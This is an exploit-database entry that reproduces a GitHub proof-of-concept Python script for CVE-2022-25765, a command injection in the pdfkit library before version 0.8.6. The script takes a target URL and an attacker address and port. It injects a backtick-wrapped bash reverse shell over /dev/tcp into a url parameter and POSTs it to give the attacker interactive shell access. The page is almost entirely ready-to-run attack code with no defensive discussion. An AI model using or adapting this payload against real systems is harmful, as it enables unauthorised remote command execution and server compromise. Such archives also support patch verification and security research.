Exploit database

GH-0383423128e37284e5a628ce06c3d34c

nikn0laty/pdfkit-cmd-injection-cve-2022-25765

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-25765

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2022-25765.py

Python · 1,582 bytes
#!/usr/bin/env python3
import sys
import getopt
import requests
from urllib.parse import quote

def main(argv):
   targetInput = '' # In "http://"" format
   addrInput = ''
   portInput = '9001' # By default   
   
   helpStr = """   Info: 
      Exploit for CVE-2022-25765 command injection in pdfkit < 0.8.6
   
   Flags:
       -t, --target  Address of target in http-format
       -a, --addr    Address for reverse connect
       -p, --port    Port for reverse connect, 9001 by default       
   
   Example:
       $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337
   """
      
   try:
      opts, args = getopt.getopt(argv,"ht:a:p:",["addr=","port="])
   except getopt.GetoptError:
      print(helpStr)
      sys.exit(2)
   
   if not opts:
      print(helpStr)
      sys.exit()

   for opt, arg in opts:
      if (opt == '-h'):
         print(helpStr)
         sys.exit()      
      elif opt in ('-t', '--target'):
         targetInput = arg
      elif opt in ('-a', '--addr'):
         addrInput = arg
      elif opt in ('-p', '--port'):
         portInput = int(arg)
   
   print(f'[*] Input target address is {targetInput}')
   print(f'[*] Input address for reverse connect is {addrInput}')
   print(f'[*] Input port is {portInput}')

   print('[!] Run the shell... Press Ctrl+C after successful connection')

   evilPayload = f'http://?name=%20`bash -c \'bash -i >& /dev/tcp/{addrInput}/{portInput} 0>&1\'`'
   postObject = "url=" + quote(evilPayload, safe="")
   requests.post(targetInput, postObject)

if __name__ == "__main__":
   main(sys.argv[1:])